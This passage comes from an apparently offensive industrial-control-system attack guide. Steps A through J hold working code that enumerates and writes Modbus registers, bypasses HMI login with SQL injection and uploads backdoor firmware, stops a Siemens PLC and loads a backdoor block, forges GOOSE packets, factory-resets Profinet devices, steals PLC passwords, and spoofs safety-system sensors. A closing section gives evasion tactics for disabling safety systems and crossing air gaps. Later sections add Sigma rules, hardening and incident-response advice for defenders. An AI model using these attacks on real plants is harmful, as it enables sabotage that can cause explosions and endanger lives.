socket.SOCK_STREAM)301 s.connect((ip, 44818))302 303 # Encapsulation header: register session304 cmd = 0x0065 # RegisterSession305 length = 0306 session = 0307 header = struct.pack('<HHII', cmd, length, session, 0)308 # Protocol version 1, option flags 0309 body = struct.pack('<II', 1, 0)310 msg = header + body311 s.send(msg)312 r = s.recv(1024)313 session = struct.unpack('<I', r[4:8])[0]314 315 # CIP Identity (ListIdentity)316 cmd = 0x0063317 msg = struct.pack('<HHII', cmd, 0, session, 0)318 s.send(msg)319 r = s.recv(2048)320 321 # Parse response for vendor, product, serial, version322 print(f'{ip}: {r!r}')323324for ip in ['10.0.0.1', '10.0.0.2', '10.0.0.3']:325 cip_identity(ip)326```327328### Step B — Modbus register enumeration329330```python331# kali_modbus_scan.py332from pyModbusTCP.client import ModbusClient333334c = ModbusClient(host='10.0.0.5', port=502)335c.open()336337# Find unit ID338for uid in range(1, 248):339 c.unit_id = uid340 regs = c.read_holding_registers(0, 10)341 if regs is not None:342 print(f'Unit {uid} active: {regs}')343344# Read all holding registers on unit 1345c.unit_id = 1346for block_start in range(0, 65536, 100):347 regs = c.read_holding_registers(block_start, 100)348 if regs:349 non_zero = [(block_start + i, v) for i, v in enumerate(regs) if v != 0]350 if non_zero:351 print(f'Block {block_start}: {non_zero[:5]}')352353# Write to holding register (force value)354c.write_single_register(40001, 1337) # change setpoint355```356357### Step C — HMI web RCE (Schneider example)358359```bash360# CVE-2024-XXXXX (illustrative) — Schneider EcoStruxure HMI web auth bypass361curl -sk -X POST https://hmi.example.com/api/login \362 -d '{"username":"admin","password":"' OR 1=1 --"}' \363 -H "Content-Type: application/json"364365# Once logged in as admin:366# Upload malicious firmware via /api/firmware/upload367curl -sk -X POST https://hmi.example.com/api/firmware/upload \368 -H "Authorization: Bearer $TOKEN" \369 -F "file=@backdoor.bin"370```371372### Step D — PLC STOP via S7comm373374```python375from snap7.client import Client376377c = Client()378c.connect('10.0.0.5', 0, 1) # rack 0, slot 1 (typical S7-1500)379380# Read PLC state381state = c.get_cpu_state()382print(f'CPU state: {state}') # Running, Stop, etc.383384# Stop the PLC (halt physical process)385c.plc_stop()386print(f'After stop: {c.get_cpu_state()}')387388# Read PLC time389print(c.get_plc_time())390391# Read block list392print(c.list_blocks())393394# Download new code block395with open('backdoor_block.bin', 'rb') as f:396 block_data = f.read()397c.upload(db_number=99, data=block_data)398```399400### Step E — OPC UA anon browse401402```bash403# OPC UA anon access404opcua-cli browse opc.tcp://10.0.0.5:4840405406# Find security policy407opcua-cli endpoints opc.tcp://10.0.0.5:4840 | jq '.[] | {securityPolicyUri, securityMode}'408409# If None / None — anon access OK410# Try sensitive operations:411opcua-cli read opc.tcp://10.0.0.5:4840 --user anon \412 --node "ns=2;s=ProductionData.Password"413```414415### Step F — IEC 61850 GOOSE manipulation416417```python418# GOOSE is Layer 2 multicast — no encryption, no auth419# Capture GOOSE on Wireshark (filter: goose)420# Identify IED source, dataset, gooseRef421422# Replay/forge GOOSE packet via Scapy423from scapy.all import *424# (requires libscapy IEC 61850 layer — community implementations exist)425426load_layer('goose')427packet = (428 Ether(dst='01:0c:cd:01:00:01') /429 GOOSE(appID=0x0001, gooseDatSet='LD0/LLN0$dsGeneric',430 gooseRef='LD0/LLN0$generic',431 stNum=2, sqNum=1,432 gooseData=[1]) # attacker-controlled value433)434sendp(packet, iface='eth0', loop=1, inter=0.001)435```436437### Step G — Profinet DCP device reset438439```python440# Profinet DCP allows factory reset of Profinet device441# Use Scapy with Profinet layer442443from scapy.all import Ether, sendp444445# DCP Identify All (broadcast)446ether = Ether(dst='01:0e:cf:00:00:00') / ProfinetDCPIdentifyAll()447sendp(ether)448449# DCP Factory Reset450ether = Ether(dst='01:0e:cf:00:00:00') / ProfinetDCPReset(name='name-not-set')451sendp(ether)452```453454### Step H — Engineering workstation compromise455456```bash457# Find TIA Portal project files458find / -name '*.ap14' -o -name '*.ap15' -o -name '*.ap16' -o -name '*.ap17' 2>/dev/null459find / -name '*.ac14' -o -name '*.ac15' 2>/dev/null460# Studio 5000461find / -name '*.ACD' -o -name '*.MER' 2>/dev/null462463# TIA Portal project may contain cleartext PLC passwords464# Parse project file with libtiepie or python parser465python3 kali_tia_project_parser.py --project /path/to/proj.ap17466467# Pull cached PLC password468grep -aE '(Password|PASS)' /path/to/proj.ap17 | strings | head469```470471### Step I — SCADA historian ODBC dump472473```bash474# Identify historian DB (often MS SQL Server or PI Archive)475nmap -p 1433,5450 scada-db.example.com476477# Connect via ODBC478sqsh -S scada-db.example.com -U historian_user -P REPLACE_WITH_YOUR_PW479480# Dump recent data4811> SELECT TOP 100 * FROM History WHERE TagName LIKE 'Temp%' ORDER BY Timestamp DESC4822> go483```484485### Step J — SIS bypass via Modbus486487```python488# SIS PLC typically has Modbus interface for monitoring489# Attacker can write to SIS input registers to spoof sensor values490# This causes SIS to "see" safe conditions when reality is unsafe491492c = ModbusClient(host='10.0.0.50', port=502) # SIS PLC493c.open()494c.unit_id = 1495496# Force pressure sensor reading to safe value497c.write_single_register(30001, 5000) # 5000 = 50 bar (safe)498# Reality: 100 bar (explosion risk)499# SIS sees 50 bar → does not trip → catastrophic failure500```501502### Defense Perspective503504### Detection505506**Passive OT monitoring (preferred)**507- Claroty, Dragos, Nozomi passive traffic analysis508- Zeek with industrial protocol analyzers509- Suricata with ICS ruleset510511**Active detection**512- Nmap NSE for OT (rate-limited)513- Vendor-specific CLI (Profinet DCP scan)514515**Sigma rules for OT events**516517```yaml518title: Modbus write to input register (sensor spoofing)519logsource:520 product: ot521 service: zeek-modbus522detection:523 selection:524 func: write_single_register525 address|re: ^3[0-9]{4}$ # input registers526 condition: selection527level: critical528```529530```yaml531title: OPC UA anonymous access532logsource:533 product: opcua534 service: server535detection:536 selection:537 user: anonymous538 operation|re: read|write|browse539 condition: selection540level: high541```542543```yaml544title: PLC STOP from non-Engineering-Workstation545logsource:546 product: ot547 service: s7548detection:549 selection:550 pdu: plcstop551 notEWS:552 src|re: !^10\.0\.0\.10$553 condition: selection and notEWS554level: critical555```556557### Hardening5585591. **Purdue Model** — clear separation of L0-L3 (Devices → Process Control → Supervisory → Site Ops) from L4 (Enterprise)5602. **DMZ jump host** — single, monitored entry point5613. **Network segmentation** — per-process VLANs; deny east-west by default5624. **Protocol security** — DNP3-secure, OPC UA with security policy, Modbus Gateway with auth5635. **Engineering workstation hardening** — no email, no internet, no removable media (often violated)5646. **PLC firmware patching** — within 90 days (OT slower than IT but CVEs are critical)5657. **Vendor remote access** —bastion host, session recording, MFA5668. **HMI web** — disabled by default; if enabled, behind VPN5679. **SIS isolation** — completely separate network from BPCS (Basic Process Control System)56810. **Continuous monitoring** — passive traffic analysis for baseline deviation569570### Incident Response571572When OT compromise suspected:5735741. **DO NOT scan** — active scanning can crash fragile PLCs5752. **Capture traffic** — passive capture to retain evidence5763. **Isolate** — switch port disable on suspect device; do not power off PLC5774. **Stop engineering workstation** — unplug from network5785. **Switch to manual** — if available, operators run process manually5796. **Invoke vendor** — Siemens CERT, Rockwell PSIRT, Schneider CERT5807. **Forensics** — pull HMI logs, engineering workstation image, traffic capture5818. **Restore** — last-known-good PLC program; verify before download5829. **Post-mortem** — Purdue Model adherence review, network architecture audit583584## Detection Methods585586### ICS/SCADA Protocol Anomalies587- **Modbus abuse**: Unsolicited Modbus write commands (`function code 0x05`, `0x06`, `0x10`); non-PLC source.588- **DNP3 anomalies**: Unsolicited DNP3 responses; out-of-sequence application layer fragments.589- **EtherNet/IP (CIP)**: CIP messages to non-CPU modules; unusual path segments.590- **PROFINET DCP abuse**: DCP write requests to device name; identify spoofing.591- **BACnet anomalies**: Who-Is/I-Am floods; COV subscription abuse.592593### Physical Process Anomalies594- **Setpoint manipulation**: Process variable diverging from setpoint; actuator commands exceeding safety range.595- **Safety system trip**: SIS (Safety Instrumented System) activation; indicates process upset.596- **Historian data gaps**: Missing historian data during specific time window; potential attack window.597- **Process upset cascade**: Multiple alarms in short window; signature of cyber-induced incident.598599### SIEM Detection Rules600- **Splunk SPL (ICS)**: `index=modbus function_code IN (5,6,15,16) | stats count by src_ip, unit_id`601- **Dragos / Nozomi Guardian**: Native OT security platform detections.602- **Claroty CTD**: Cyber threat detection for OT environments.603604## Defense Evasion Techniques605606### Protocol-Level Stealth607- **Mimic legitimate master**: Use PLC's legitimate master IP; match timing/sequence of normal commands.608- **Passive reconnaissance**: Sniff Modbus/DNP3 to learn protocol patterns before injecting.609- **Single-shot attack**: Send one malicious command (e.g., open breaker) rather than sustained abuse.610- **Off-hours operation**: Execute during maintenance windows; blends with legitimate activity.611612### Physical Effect Stealth613- **Gradual setpoint change**: Change setpoint slowly (1-2% per minute); avoids trip alarms.614- **Sensor spoofing**: Send false sensor values to historian; mask physical effect.615- **Safety bypass**: Disable safety system before main attack; avoids SIS trip.616617### Air-Gap Crossing618- **Removable media**: Stuxnet-style USB propagation across air gap.619- **Insider threat**: Use compromised engineer laptop that crosses air gap.620- **Vendor remote access**: Use legitimate vendor VPN credentials; bypass air gap.621- **Optical/acoustic covert channels**: Speaker/microphone for low-bandwidth air-gap crossing.622623## References624625- **MITRE ATT&CK for ICS** — https://collaborate.mitre.org/attackics/626- Dragos — Year in Review 2024627- Claroty — Top 50 ICS Vulnerabilities 2024628- CISA ICS Advisories — https://www.cisa.gov/ics-advisories629- CISA ICS-CERT Alerts — https://www.cisa.gov/news-events/cybersecurity-advisories630- Unitronics PLC Attack (Nov 2023) — CISA AA23-335A631- Pipedream / Incontroller (2022) — Dragos report632- Industroyer2 (2022) — Slovak NBU-CERT analysis633- FrostyGoop (2024) — Claroty report634- Siemens CERT — https://cert-portal.siemens.com/635- Rockwell PSIRT — https://rockwellautomation.custhelp.com/app/answers/answerview/a_id/1131090636- Schneider CERT — https://www.se.com/ww/en/work/support/cybersecurity/security-notifications637- SANS ICS — https://ics.sans.org/638- SANS ICS Summit 2024 proceedings639- "Industrial Network Security" (Eric Knapp, Joel Thomas Langill) — 4th Edition, 2024640- "Hacking Exposed Industrial Control Systems" (Clinton Pidgeon, 2024)641- NIST Guide to Industrial Control Systems Security (SP 800-82r3)642- ANSI/ISA-99 / IEC 62443